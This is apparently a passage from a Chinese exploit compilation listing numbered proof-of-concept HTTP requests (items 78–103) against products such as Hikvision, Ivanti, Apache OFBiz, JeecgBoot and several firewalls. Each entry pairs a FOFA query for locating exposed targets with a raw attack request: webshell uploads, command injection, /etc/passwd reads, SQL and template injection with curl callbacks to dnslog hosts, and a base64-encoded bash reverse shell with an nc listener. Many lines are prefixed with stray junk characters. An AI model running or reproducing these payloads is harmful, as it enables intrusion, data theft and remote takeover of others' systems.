  M" G" ?0 [. H8 ~9 B8 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 S' O% t; z" Q5 Y* R8 o4 @1 oConnection: close
Content-Length: 433
5 @  \% n3 @' F! E2 ^! A8 t" lAccept: */*
# \+ A. c$ c+ m. f9 OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
. _6 @9 N$ _. Z/ WContent-Disposition: form-data; name="folder"

) N! V- G+ V2 q/ P# X1 \- i  w/upload/udplog
2 \( h0 b2 k( n6 T2 [( |7 _6 e+ U------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
* N. r5 z; J% M' QContent-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
, o% ]$ {. a# J- oPOST /Platform/System/FileUpload.ashx HTTP/1.1
8 `2 q% C! p7 LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
8 Y( ]! |. d2 L! l, KAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
  a: V) l. [% _: V1 OContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
6 U4 F1 o2 [. @2 Z. y; s& a6 m9 Z
/ \  X: }6 J  R9 A: sYsOxWxSvj1KyZow1PTsh98fdu6l
; v* _2 P6 m0 @7 ~9 U! E------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

0 O0 }7 x3 q# j$ L* y/Applications/SkillDevelopAndEHS/
& V) b3 X! b. z' H( r------YsOxWxSvj1KyZow1PTsh98fdu6l--
7 _! p8 X; N1 c, l
- Y. I0 y$ A; M: N* J' Q3 I
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

/ {  E( u6 ~6 x
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
6 c- q7 @' b- X4 hHost:IP
. ~+ \4 v% a# E" qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
+ Z) e' V" G* b: ~0 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 U3 A/ {5 o, o% B; C) D/ \9 i; Z+ UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
% A. `* F$ E: \. J- k# e" ?; X2 ^Upgrade-Insecure-Requests: 1

$ o4 I- w" V& ]3 r; [( |. ]
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
+ H& R3 M$ D0 [1 q. G4 \8 pPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
1 `& g/ C2 x6 v: q+ w. r8 O" b% B$ g, H& oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  r& @8 D" m! }3 e' H- {( NAccept-Encoding: gzip, deflate
8 M7 ~" A# S1 h: P" m6 V4 g2 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
1 ?  K+ K; P& l* g7 V9 K! FContent-Type: application/octet-stream
! @' H& p( U; T: L+ ?6 m/ v( |/ v5 pUpgrade-Insecure-Requests: 1
, d2 O2 \. Q  v
8 n/ K$ Z4 D" k) J8 Z: `<% out.print("oessqeonylzaf");%>

4 F: b: p% G) o% @6 o* Z
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: e4 t+ Q, J* t( b# H3 n  X! L, mConnection: close
Accept-Encoding: gzip

# |, V' \" l: y5 ^' ^
" f# Z& q8 o& Y" J2 r1 a81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
/ y, }, N1 B, a4 k1 PFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
: Y1 ^% z1 e( t2 c, d2 [  C$ ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- F2 u. h7 C8 @6 b- t) }Connection: close
Accept-Encoding: gzip
& t$ l( o8 P: z/ z3 l( Y' T9 p  s
, z* D8 d9 Q# w" x7 p
+ v4 N1 j4 N; M% B8 i82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
/ {$ j; ^+ w7 G: d/ O9 @2 aPOST /bhost/test_qrcode_b HTTP/1.1
; Y. E( n. t4 eHost: BaseURL
4 E+ R, \4 C& o1 DUser-Agent: Go-http-client/1.1
: R1 J* o" i$ Z( I. R. y; KContent-Length: 23
Accept-Encoding: gzip
/ \. }% i. j) L' B- n" V1 HConnection: close
6 L+ j6 P) U* a4 EContent-Type: application/x-www-form-urlencoded
: m+ G' q- o; d+ v$ P# m* xReferer: BaseURL
9 R9 T7 j; k8 K5 J) H% E- `/ u
z1=1&z2="|id;"&z3=bhost


1 O8 ?7 y; F& w+ B$ I* N/ P83. JeecgBoot testConnection 远程命令执行
  d4 F( U$ z+ v- G& Z) D% J4 e# EFOFA：title=="JeecgBoot 企业级低代码平台"
  S) f- Z7 i6 V" \3 {) \
2 K9 c: x5 V/ K: {- q# b
) C3 ?4 F8 G% _0 }# L) \: wPOST /jmreport/testConnection HTTP/1.1
9 l7 J  s* h, S; s- ?) m+ E: [Host: x.x.x.x
* ?" ]. b" ~( e9 ]. z! w" sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 g& s( k3 Q# e2 @! ^Connection: close
- D7 v. a# R3 A2 I! bContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
$ t6 _; N- c: gContent-Type: application/json

9 M3 C. @/ G! @' s8 XPAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"


4 s- ~% N- B/ W
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
4 M( D& m, M" e4 BContent-Length: 156
- V5 R/ r% O7 _8 @  \Accept: */*
Connection: close
Content-Type: application/json
6 T& n- `( E# J- r0 h# e0 T8 T$ ]Accept-Encoding: gzip
$ ^, ]" r0 a- |. Z
. x1 x2 E, L5 Y' q! |/ C{
/ ^7 @$ l9 L$ `4 ?- q! C" p: \$ ~ "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
& U) `2 O8 U. a' C" K7 o7 t* b  "type": "0"
}
1 [) L% g9 R! R1 o& _6 W

" T1 d3 p+ Z, N: R7 x( F* v1 y# w85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
$ b5 U; Q. E+ n" SAccept-Encoding: gzip

PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
+ h6 V+ [5 g3 w/ P1 ~
86. 日本tosei自助洗衣机RCE
. T/ w. I* j4 `$ B) l  JFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
8 q- t4 W! i! b. j* RHost: x.x.x.x
3 B4 Y+ V) W9 F, b- k- `User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
5 u! m3 O$ L/ E4 f. J5 b) x& MConnection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
. U, `9 t" j# d% s; A8 {( DAccept-Language: en
Content-Type: application/x-www-form-urlencoded
" ^  |" u. {+ q# E# M5 ~( ^
) c0 d3 m0 T' U( {. p2 {& \host=%0acat${IFS}/etc/passwd%0a&command=ping
. y& u, m' c# P4 B/ j
( j  o; x" _9 ~& o
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
. C* m7 j" L$ d6 |* }1 XHost: X.X.X.X
' I, i4 i" C, ]5 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ E8 g2 u* n9 [7 U# K( E5 s# [3 i, YConnection: close
* R% B* b9 Z2 t6 BContent-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
$ v8 l! o: w8 B% k# K/ S
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
8 Y) P8 J6 h& l6 o# [. N--qqobiandqgawlxodfiisporjwravxtvd--
% T7 ^# Z: V& k7 Q9 v9 Y$ I  v" {
& ^. |- {* r: @6 T
4 C  H" w  A3 j& P; j2 w/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
3 \3 L0 Y" r" T7 K/ i2 P4 D  DFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
- t& U4 o2 ~3 bHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 a2 k7 f8 s8 \8 b; _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
# `1 |3 ?& V. x7 ^: z

4 T& c; A  T3 g2 t3 [; `' s) I/astdfkhl.php
9 u% U6 C; E! f: q9 \; u
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
( L% Y1 A3 Z3 k- wPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
+ ?" l2 ?) f, ]6 z" b! y  aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- P7 Q! j+ t: A/ ?Content-Length: 41
7 N3 X3 O; t3 IContent-Type: application/x-www-form-urlencoded
1 q$ }( R; W, }7 r/ U1 e) ?: e0 K; OAccept-Encoding: gzip
2 h1 R4 F9 T3 }2 s8 K- |: u
option=2&GUID=-1'+union+select+111*222--+
' c, M5 C$ S0 x9 e# K) F4 s
. ^. l/ z! A/ u
" j6 |" q( A: k" A90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) z; q3 v) a3 t: mConnection: close
& M/ ]+ }' R; g" _" ?# g5 fContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
" d' B; f$ U7 ^% a/ b5 x
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
% V+ V/ p* z: c0 ^2 SFOFA：title="综合安防管理平台"
  T: Z; N( z; C& z) L. u& J9 NGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
# w% f; T" N/ FConnection: keep-alive
0 F4 r7 z4 }; C% N1 N( |3 i9 c
$ R  L3 u3 O' B4 U4 Z/ ?& J
; x+ V1 j% p: n2 ^9 p5 r
92. 海康威视运行管理中心session命令执行
1 _" P7 W. K" H: UFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
; t1 q4 z- d! ?Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
. P! i3 N! w$ {1 L* MX-Language-Type: zh_CN
% G) i4 X( C. f  yTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
, ^7 [0 c& @! HAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD


( n* R$ d  ]) J" @' J: Y" q6 Z93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
3 `: a" d0 }( L( q; r- o1 WFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
2 g- T0 S3 I- W7 o" J! [2 h7 LHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
1 j: B, t/ S& \- s" H7 J: ]3 j# sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- ]; ~2 f) V+ I* _/ o4 i2 c
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
  M2 s* i( `( _3 e0 x& U$ g" I
" z$ J9 X  [4 |# [+ P* r6 S10000000
+ f6 M. C: q& O- Q$ i------WebKitFormBoundarykcbkgdfx
7 `4 {$ n1 k- n" F8 ~% ^3 n4 }% LContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
. j, m: s) O0 N
wagletqrkwrddkthtulxsqrphulnknxa
$ B2 |: O5 f; G- y0 D------WebKitFormBoundarykcbkgdfx
  n4 z- m% \+ ?( s! }) ~Content-Disposition: form-data; name="submit_post"

obj_app_upfile
& q7 {$ w8 {5 K, O------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
, H  q6 {! @5 v9 @2 ^" F
& U4 b: }, N3 c  M& g" v8 D0b9d6b1ab7479ab69d9f71b05e0e9445
: |+ R/ O( o! C1 u------WebKitFormBoundarykcbkgdfx--
& D# V& [4 |4 L  t2 r& q1 C7 l

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


- f; e  Y& M: f3 o: {1 o3 V94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
1 m* d- ]0 W' y) D$ `  p1 k5 KHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

# l/ R1 l+ ?2 w+ e------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
6 {" n7 U, O* U
' `! q# ^! l8 X1 D10000000
; F- W- I9 F  @# v. I------WebKitFormBoundarybqvzqvmt
8 R: q* v8 i) X* PContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
8 T. S% d/ A/ N% ]: J5 j, HContent-Type: text/plain
% h+ d2 ]1 b+ f8 k* y" s
  Q& L' A. ^: vpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
) @. s. G' |$ ?5 r0 FContent-Disposition: form-data; name="submit_post"
) n5 l+ n5 L- M' j6 ~3 @' H
, ]; O0 t$ k+ |, I. R1 Pobj_app_upfile
; i# p+ b" h/ x------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
8 g! a4 S2 g# r0 {  `- ]; M
/ I5 q. L8 I; L: T0 ?8 w/ U0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
4 g7 J; Y) e  N


GET /attachements/xlskxknxa.txt HTTP/1.1
& l" [4 E8 S" r# O, P$ DHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 D8 ^& `: p. w, L+ _* i' A) r5 T6 C
! Q4 a/ @9 r! o3 a0 |

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
4 F4 N& ^6 t$ t8 c7 J+ lCVE-2023-49070
FOFA：app="Apache_OFBiz"
; O3 S; f' t+ `/ p4 @9 T/ ~$ e/ pPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
. a/ s8 {6 c4 u9 n  V! X; vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
3 I- K" r1 A' y9 {Content-Length: 889
Content-Type: application/xml
# r9 U, L2 l* N. |Accept-Encoding: gzip
, a8 P" s/ |5 O8 f  h. z4 ?+ L
7 b$ J6 {) f- h0 R+ D! e5 }<?xml version="1.0"?>
; l3 g. x/ S$ r& G, Q' w% _<methodCall>
$ F$ x* J: ?7 s6 U( [5 ]   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
* e* D$ R" j7 ^) s% p6 v2 e. ], L    <params>
      <param>
      <value>
        <struct>
& l# M" @9 w! b8 J7 a       <member>
4 c8 t- i+ ^  e6 i+ M% n" t          <name>test</name>
# }4 E0 L7 S$ b/ J* q, C          <value>
$ Q( O# B. F1 P, |      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
' P8 e: `0 P6 }5 p4 q          </value>
! ~* }: w$ c* T% ^$ L9 \3 g! e, E- i        </member>
- f; _% V) ?8 [' N      </struct>
      </value>
    </param>
8 q8 _* L! d0 U    </params>
1 ?: R1 w) m( k</methodCall>


1 Z' J' l2 r& w. b用ysoserial生成payload
, ~6 y+ @& c  X) zjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

% E* V- x. I* o3 D6 K" F
将生成的payload替换到上面的POC
# S1 C* Q8 ~4 |3 l1 }2 ^& C! e: [POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
; Y& J! I% j# hContent-Length: 889
Content-Type: application/xml
, K" B! l& O& TAccept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
& X+ ^/ D$ h& ^2 F* K) a; PFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
0 B+ i0 F1 S1 M8 @5 D+ }& QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) v9 F. Z( Y, F& V6 e+ ?4 f0 y! pContent-Type: application/x-www-form-urlencoded
7 ]& T: O( ?% V0 s) p/ ?$ OContent-Length: 55

6 `5 c, ?* l1 U* Y4 U$ wgroovyProgram=throw+new+Exception('id'.execute().text);
0 Z: c6 s3 Q5 G7 b" z% j
! _) I3 d% K$ J$ N9 h
% U; g8 l% C2 P9 n- k$ u8 j  O反弹shell
  b& b5 q! l# ]* u% d* f在kali上启动一个监听
nc -lvp 7777
7 p  L8 A8 F- q# A) x9 @& h
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
3 _4 V" b% a* h. u: IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 i+ v$ i2 J, [3 s8 |/ C, ], oContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

$ I; ^3 a7 b" l* E) i7 e* U0 f97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
( Q7 `5 ?: j. Q# X) N  U: HFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
9 }/ d+ X# O' @7 q* m- J% YGET /passport/login/ HTTP/1.1
& E* v& a% s) z1 _% O" L1 k+ \Host: 192.168.40.130:8085
) g8 A1 E7 ~# Y, v4 Z% i$ a; d  F9 tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 f8 R+ A* c# G" oAccept-Encoding: gzip
1 a: z2 g/ h: bConnection: close
Cookie: rememberMe=PAYLOAD
6 G( i3 K8 h+ w; v5 i9 }X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
* @! |( S; r( OHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% P& H0 I5 p* `2 q$ OConnection: close
1 T5 m# q8 C: r# I( @7 G# fContent-Length: 121
+ O* J" A) r0 R0 e+ m$ a( t! WAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
3 @' h+ n, N3 U8 Z
3 k5 S( `& T5 f. kid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
  m# M0 s! ]; Z! A3 A. k

' \! M" ]1 Q% b2 O/ f6 v6 [99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
( F8 U9 g! E1 THost: 192.168.40.130:8080
2 j5 M. F' u2 h$ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
) H$ p7 r+ E+ s; Z0 c9 z8 IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

# `9 l% r6 {! D& @5 ]
2 I& j' `7 R" R2 m3 y! a0 H100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
& g, @/ e4 `* k7 dCVE-2024-0352
+ k0 ~) f$ y% |5 V7 H# o* VFOFA：icon_hash="874152924"
" O! e. s: C; M! h/ O6 fPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
1 u# [9 c9 a! o6 @3 ?) L6 GUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
! M2 Y9 b! |  ?Connection: close
6 ]+ C+ X! s' l9 W$ iContent-Length: 201
: |2 P( j9 q3 B) `# YContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
* q9 g( i( i/ g# G! U; A) T) W, vAccept-Encoding: gzip
& h, |6 v6 A: z0 ?- V. }
3 p; |* d4 t- h" _% h. \4 A------WebKitFormBoundarygcflwtei
  l+ d8 F0 m, d4 g8 F" F7 oContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

9 T4 \, g" P! B5 {- n2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
/ z" h' ^4 H/ W: |
  _5 ?  Q) q3 s$ L$ m2 Q, \
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
0 S$ t  R( w# u: T+ R6 sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
6 x1 P8 V, L" {' o1 z6 eAccept-Encoding: gzip

' {6 R+ @9 T. R; m* G& ~
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
/ c# r0 M( @+ y  mFOFA：body="welcome.cgi?p=logo"
+ {# _! R3 q- o  j% ~' |POST /dana-ws/saml20.ws HTTP/1.1
; x- Q4 I. }: i& L& vHost: x.x.x.x
3 Z# [! @6 g! \  v# v. p) nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
, f' \  `2 |+ ]( b5 e) ^Accept-Encoding: gzip

( _$ G' ^; E2 G* C8 Z+ @1 J<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
% ?' \; Z6 A& A: PCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
